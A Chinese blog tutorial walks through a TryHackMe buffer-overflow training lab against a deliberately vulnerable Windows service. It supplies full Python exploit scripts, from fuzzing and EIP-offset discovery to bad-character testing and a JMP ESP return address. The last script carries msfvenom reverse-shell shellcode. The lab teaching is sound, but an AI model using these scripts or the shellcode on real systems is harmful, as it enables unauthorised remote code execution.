史上最详细的Buffer Overflow学习笔记

如果您被标题吸引进来了,却发现我写的很烂,请不要生气;

如果您发现我写的有误,欢迎您于评论区中指教

文章中出现的对于BOF来说相关的专业名词,都可以在最后找到解释

如果这篇文章能在您学习的路上帮助到您,我感到非常荣幸

照片问题因为csdn不接受外链,照片不能直接传上来,所以这里采用截图的方式,但由于图中没什么重要信息,大家就当看个乐呵,如果真想看清楚的图,看文章末尾

环境配置

此处演示使用环境来自于TryHackMe | Buffer Overflow Prep

使用方法参考页面内教程

或者使用此简易教程(我自己写的,当笑话看一眼就行了,没接触过的看不懂,接触过的不用看)

1.注册账号

​ 界面右上角

2.下载open配置文件

​ 会让你选择成为VIP用他们的kali web版还是使用连接,选择并下载配置文件,然后拷贝到kali中

3.连接VPN

​ 在自己的机器上使用 sudo open <配置文件名>来连接

4.开启机器

​ 下滑界面,在Task1中有一个绿色的start machine,单击获得IP地址

5.远程桌面连接

​ xfreerdp /u:admin /p:password /cert:ignore /v:MACHINE_IP /workarea 使用该指令连接远程桌面,进入后选择home

6.管理员身份打开Immunity Debugger

​ 桌面上有这个软件,右键选择”Run as administrator“

7.打开oscp.exe开始学习

​ File -> Open 之后选择在桌面的vunlerable-app文件夹中的oscp文件夹中的oscp.exe文件

操作流程

1.验证内存大小。

2.寻找坏字节

3.寻找返回地址

4.配置poc获取shell

验证内存大小

这一步的目的是试出进程的缓冲区大小以及确定其EIP的具体位置

模糊尝试

如果此前已经知道了内存的具体大小,这一步可以省略

此处提供一个python脚本帮助确定内存的模糊大小

python3 fuzzer.py
#!/usr/bin/env python3

import socket, time, sys

ip = "windows.box"

port = 1337
timeout = 5
prefix = "OVERFLOW10 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

史上最详细的Buffer Overflow学习笔记_第1张图片

 

此处我们可以看到内存的EIP位置的字节,已经被我们修改为x41(A)了

验证

验证上一步判断的内存大小

验证内存大小

python Crasher.py
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    buffer = prefix + "A" * 600

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")

就可以发现EIP又一次的被A填充了,就可以说,这个六百字节的填充就验证成功了。

确定具体EIP位置

因为我们知道,使用了六百个字节让对面的进程内存溢出了,那么可以说,进程的实际内存一定小于600个字节。所以我们可以使用一串600字节的有规律字符串,这样查看EIP的字符的时候就可以确定具体的位置了

msf-pattern_create -l 600
or
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

来获取一串规律的字符串

然后更新我们的poc

python controllingEip.py
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    buffer = prefix + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")

史上最详细的Buffer Overflow学习笔记_第2张图片

 

发现EIP = 41397241,然后我们把这个值保存来获取EIP的位置

msf-pattern_offset -l 600 -q 41397241
or 直接在这个软件的下面输入
!mona findmsp -distance 600

用mona就可以看到这样的字样EIP contains normal pattern : ... (offset XXXX)

用msf就能看到

史上最详细的Buffer Overflow学习笔记_第3张图片

 

验证

从上面我们得到了EIP的位置,那么我们需要验证一下上面的到的信息是否准确

python controlledEip.py
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537
    eip = "B" * 4
    buffer = prefix + filler + eip

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")

在上面可以了解到前537是内存的大小,从538开始的四个字节应该是EIP的位置所以我们使用A来填充前537个字节,用B来填充EIP位置,这样,如果信息准确的话,EIP位置应该是42424242

史上最详细的Buffer Overflow学习笔记_第4张图片

 

发现确实是42,也就是说我们已经得到了EIP的位置

寻找坏字节

所谓坏字节,就是可以使程序中断执行的字节,由于么一个程序的坏字节都可能不一样,所以每一次我们都需要重新寻找,而x00则一定是坏字节,所以不需要确认,下面给出一份坏字节的表

badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

到这里我们需要修正我们的poc来验证坏字节

python badchars.py
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")

    badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537
    eip = "B" * 4
    buffer = prefix + filler + eip + badchars

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")

史上最详细的Buffer Overflow学习笔记_第5张图片

史上最详细的Buffer Overflow学习笔记_第6张图片 

 

可以看到到这为止,我们验证坏字节的语句已经全部发送上去了接下来我们需要借助mona的帮助了

mona的使用

首先需要先建立工作目录

!mona config -set workingfolder c:\Temp
!mona bytearray -b "\x00"

然后开始寻找坏字节

史上最详细的Buffer Overflow学习笔记_第7张图片

 

!mona compare -f C:\Temp\bytearray.bin -a 

史上最详细的Buffer Overflow学习笔记_第8张图片

 

至此,我们成功找到了这个程序的坏字节

寻找返回地址

接下来我们找寻的是发送后我们payload的存放的位置

我们需要继续使用mona来找寻一个没有内存保护的进程

!mona modules

史上最详细的Buffer Overflow学习笔记_第9张图片

 

我们此处使用第一条进程来继续我们的攻击

Log data, item 12
Address=0BADF00D
Message= 0x62500000 | 0x62508000 | 0x00008000 | False | False | False | False | False | -1.0- [essfunc.dll] (C:UsersadminDesktopvulnappsoscpessfunc.dll)

寻找jmp Esp在这个进程中的位置

先查看jmp esp的编码

msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp

之后寻找jmp esp在进程中的位置

!mona find -s "\xff\xe4" -m "essfunc.dll"

史上最详细的Buffer Overflow学习笔记_第10张图片 

 

Log data, item 11
Address=625011AF
Message= 0x625011af : "xffxe4" | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:UsersadminDesktopvulnappsoscpessfunc.dll)

第一个就是 0x625011AF

验证

刚刚我们已经找到了essfunc.dll中的jmpesp的位置,那么我们把这个位置传给EIP做最后的校验

首先定位到0x625011AF

史上最详细的Buffer Overflow学习笔记_第11张图片

 之后敲击F2定位地址

之后执行一段程序进行验证

python returnAddress.py
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537 
    eip = "\xaf\x11\x50\x62" #0x625011AF
    buffer = prefix + filler + eip

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")

史上最详细的Buffer Overflow学习笔记_第12张图片

 

发现EIP已经成功指向了JMP ESP的地址

配置payload获取shell

使用msfvenom来制作payload,请按照格式填写自己的IP地址,监听端口以及坏字节

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "" > shellcode.c

打开之后就可以看到编码的payload

unsigned char buf[] = 
"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
"\x65\x02\xba\x95\x83\xee\xfc\xe2\xf4\x99\xea\x38\x95\x65\x02"
"\xda\x1c\x80\x33\x7a\xf1\xee\x52\x8a\x1e\x37\x0e\x31\xc7\x71"
"\x89\xc8\xbd\x6a\xb5\xf0\xb3\x54\xfd\x16\xa9\x04\x7e\xb8\xb9"
"\x45\xc3\x75\x98\x64\xc5\x58\x67\x37\x55\x31\xc7\x75\x89\xf0"
"\xa9\xee\x4e\xab\xed\x86\x4a\xbb\x44\x34\x89\xe3\xb5\x64\xd1"
"\x31\xdc\x7d\xe1\x80\xdc\xee\x36\x31\x94\xb3\x33\x45\x39\xa4"
"\xcd\xb7\x94\xa2\x3a\x5a\xe0\x93\x01\xc7\x6d\x5e\x7f\x9e\xe0"
"\x81\x5a\x31\xcd\x41\x03\x69\xf3\xee\x0e\xf1\x1e\x3d\x1e\xbb"
"\x46\xee\x06\x31\x94\xb5\x8b\xfe\xb1\x41\x59\xe1\xf4\x3c\x58"
"\xeb\x6a\x85\x5d\xe5\xcf\xee\x10\x51\x18\x38\x6a\x89\xa7\x65"
"\x02\xd2\xe2\x16\x30\xe5\xc1\x0d\x4e\xcd\xb3\x62\xfd\x6f\x2d"
"\xf5\x03\xba\x95\x4c\xc6\xee\xc5\x0d\x2b\x3a\xfe\x65\xfd\x6f"
"\xc5\x35\x52\xea\xd5\x35\x42\xea\xfd\x8f\x0d\x65\x75\x9a\xd7"
"\x2d\xff\x60\x6a\x7a\x3d\x65\x6e\xd2\x97\x65\x02\x8f\x1c\x83"
"\x68\xaa\xc3\x32\x6a\x23\x30\x11\x63\x45\x40\xe0\xc2\xce\x99"
"\x9a\x4c\xb2\xe0\x89\x6a\x4a\x20\xc7\x54\x45\x40\x0d\x61\xd7"
"\xf1\x65\x8b\x59\xc2\x32\x55\x8b\x63\x0f\x10\xe3\xc3\x87\xff"
"\xdc\x52\x21\x26\x86\x94\x64\x8f\xfe\xb1\x75\xc4\xba\xd1\x31"
"\x52\xec\xc3\x33\x44\xec\xdb\x33\x54\xe9\xc3\x0d\x7b\x76\xaa"
"\xe3\xfd\x6f\x1c\x85\x4c\xec\xd3\x9a\x32\xd2\x9d\xe2\x1f\xda"
"\x6a\xb0\xb9\x5a\x88\x4f\x08\xd2\x33\xf0\xbf\x27\x6a\xb0\x3e"
"\xbc\xe9\x6f\x82\x41\x75\x10\x07\x01\xd2\x76\x70\xd5\xff\x65"
"\x51\x45\x40";

然后我们可以制作最终的poc了,然后添加一些NOPs,因为一个编译器生成payload的时候需要一些内存,所以我们可以用No Operation(x90)去为解编译占位,这个至少需要16个字节。这里我加了三十二个

之后打开nc,运行poc我们就能获得一份shell了

python payload.py
#!/usr/bin/python
import socket

try:
    print ("\nSending evil buffer...")

    payload = ("\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
    "\x65\x02\xba\x95\x83\xee\xfc\xe2\xf4\x99\xea\x38\x95\x65\x02"
    "\xda\x1c\x80\x33\x7a\xf1\xee\x52\x8a\x1e\x37\x0e\x31\xc7\x71"
    "\x89\xc8\xbd\x6a\xb5\xf0\xb3\x54\xfd\x16\xa9\x04\x7e\xb8\xb9"
    "\x45\xc3\x75\x98\x64\xc5\x58\x67\x37\x55\x31\xc7\x75\x89\xf0"
    "\xa9\xee\x4e\xab\xed\x86\x4a\xbb\x44\x34\x89\xe3\xb5\x64\xd1"
    "\x31\xdc\x7d\xe1\x80\xdc\xee\x36\x31\x94\xb3\x33\x45\x39\xa4"
    "\xcd\xb7\x94\xa2\x3a\x5a\xe0\x93\x01\xc7\x6d\x5e\x7f\x9e\xe0"
    "\x81\x5a\x31\xcd\x41\x03\x69\xf3\xee\x0e\xf1\x1e\x3d\x1e\xbb"
    "\x46\xee\x06\x31\x94\xb5\x8b\xfe\xb1\x41\x59\xe1\xf4\x3c\x58"
    "\xeb\x6a\x85\x5d\xe5\xcf\xee\x10\x51\x18\x38\x6a\x89\xa7\x65"
    "\x02\xd2\xe2\x16\x30\xe5\xc1\x0d\x4e\xcd\xb3\x62\xfd\x6f\x2d"
    "\xf5\x03\xba\x95\x4c\xc6\xee\xc5\x0d\x2b\x3a\xfe\x65\xfd\x6f"
    "\xc5\x35\x52\xea\xd5\x35\x42\xea\xfd\x8f\x0d\x65\x75\x9a\xd7"
    "\x2d\xff\x60\x6a\x7a\x3d\x65\x6e\xd2\x97\x65\x02\x8f\x1c\x83"
    "\x68\xaa\xc3\x32\x6a\x23\x30\x11\x63\x45\x40\xe0\xc2\xce\x99"
    "\x9a\x4c\xb2\xe0\x89\x6a\x4a\x20\xc7\x54\x45\x40\x0d\x61\xd7"
    "\xf1\x65\x8b\x59\xc2\x32\x55\x8b\x63\x0f\x10\xe3\xc3\x87\xff"
    "\xdc\x52\x21\x26\x86\x94\x64\x8f\xfe\xb1\x75\xc4\xba\xd1\x31"
    "\x52\xec\xc3\x33\x44\xec\xdb\x33\x54\xe9\xc3\x0d\x7b\x76\xaa"
    "\xe3\xfd\x6f\x1c\x85\x4c\xec\xd3\x9a\x32\xd2\x9d\xe2\x1f\xda"
    "\x6a\xb0\xb9\x5a\x88\x4f\x08\xd2\x33\xf0\xbf\x27\x6a\xb0\x3e"
    "\xbc\xe9\x6f\x82\x41\x75\x10\x07\x01\xd2\x76\x70\xd5\xff\x65"
    "\x51\x45\x40")
    
    prefix = "OVERFLOW10 "
    filler = "A" * 537 
    eip = "\xaf\x11\x50\x62" * 4 #0x625011AF
    nop = "\x90" * 32
    buffer = prefix + filler + eip + nop + payload

    s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

    s.connect(("windows.box", 1337))
    s.send(buffer)

    s.close()

    print ("\nDone!")
  
except:
    print ("\nCould not connect!")

史上最详细的Buffer Overflow学习笔记_第13张图片

 

综上,我们获得了shell

名词解释

poc:一段验证的代码用于验证漏洞的真实性

payload:有效载荷,指poc或者exp中可以起到破坏作用的代码,比如说poc中反弹shell的部分

exp:exploit,一般是指别人针对一个漏洞写好的全自动poc,你只需要自己填个ip地址,端口啥的就可以利用

这三者的关系就像是poc是迫击炮需要手动一点一点调整,exp是自动导弹只需要输入打击经纬度,而payload则是弹头,用来实施破坏。

BOF:Buffer OverFlow即内存溢出漏洞

msf-pattern_create/offset/msfvenom:经offsec官方验证不属于使用msf工具,故可以在oscp考试中使用。

badchar:坏字节,坏字节是指一个可以中断程序的ascii 字节,这种东西在各个进程中都不尽相同,所以说每一次当我们遇到BOF的问题时都需要测试坏字节。这个玩意在执行代码的时候不会出现在内存中,也就是说加入我们的代码中存在坏字节,将会导致代码被中断

x和0x:0x指16进制,x是ASCII的字符编码

EIP:指令指针寄存器,存储着我们cpu要读取指令的地址,这里涉及到汇编知识,基础部分会在大学课程的操作系统和微机原理中有详细的讲解,快速理解可以看一下这个汇编知识之EIP寄存器 - 狂奔~ - 博客园 (cnblogs.com)

JMP:跳转指令,执行JMP指令后会使EIP跳转到JMP所指定的地址上,如JMP ESP就是使EIP跳转到ESP上

ESP:扩展栈指针寄存器,用于存放函数栈顶指针(下一个压入栈的活动记录的顶部)。当JMP 到ESP后我们之后的payload就会被压入内存栈等待被EIP调用。

NOPS:占位符,因为一个编译器生成payload的时候需要一些内存,所以我们可以用No Operation(x90)去为解编译占位。

socket网络编程:此处请关注我之后会写的另一篇关于socket编程基础的文章。

mona和Immunity Debugger:这个两个软件其他功能的具体使用请参考网上的其他文章,我也是第一次接触,之后在进一步学习汇编的时候应该会写文章

感谢

本教程核心内容翻译至Remote Buffer Overflow - 4PFSEC,非常感谢这位作者这篇教程的帮助

不知道为什么中文站全网找不到一个关于badchar的说明,感谢这位作者的关于坏字节部分的帮助Buffer Overflow - From fuzzing to l00t :: — uf0 (matteomalvica.com)

esp相关说明来源于百度百科esp(汇编语言关键词)_百度百科 (baidu.com)

再进一步学习EIP的时候拜读了这篇文章汇编知识之EIP寄存器 - 狂奔~ - 博客园 (cnblogs.com)

介绍了关于子u编码的内容x 和 0x 的区别 - Love流浪的猪 - 博客园 (cnblogs.com)

感谢我自己),这篇文章转载于我自己的博客,地址暂不公开,咱随缘。

如有侵权,请立刻联系删除

你可能感兴趣的:(oscp,python)